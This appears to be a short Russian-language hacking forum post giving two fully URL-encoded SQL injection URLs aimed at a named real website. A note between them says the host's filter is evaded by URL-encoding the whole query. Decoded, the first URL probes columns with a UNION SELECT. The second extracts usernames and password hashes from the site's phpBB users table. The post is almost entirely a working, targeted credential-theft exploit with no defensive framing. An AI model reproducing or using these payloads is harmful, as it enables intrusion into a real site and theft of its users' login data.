http://www.sprusk.spb.ru/index.php?page_id=4+%61%6e%64%20%30%20%75%6e%69%6f %6e%20%73%65%6c%65%63%74%20%31%2c%32%2c%33%2c%34%2 c%35%2c%36%2c%37%2c%38%2c%39%2c%30%2c%31%2c%32%2c% 33%2d%2d%20%31​

pеtеrhost обходится полным urlencode запроса

http://www.sprusk.spb.ru/index.php?page_id=4+%61%6e%64%20%30%20%75%6e%69%6f %6e%20%73%65%6c%65%63%74%20%31%2c%32%2c%33%2c%34%2 c%35%2c%63%6f%6e%63%61%74%5f%77%73%28%30%78%33%61% 2c%75%73%65%72%6e%61%6d%65%2c%75%73%65%72%5f%70%61 %73%73%77%6f%72%64%29%2c%37%2c%38%2c%39%2c%30%2c%3 1%2c%32%2c%33%20%66%72%6f%6d%20%70%68%70%62%62%5f% 75%73%65%72%73%20%6c%69%6d%69%74%20%31%2c%31%2d%2d %20%31​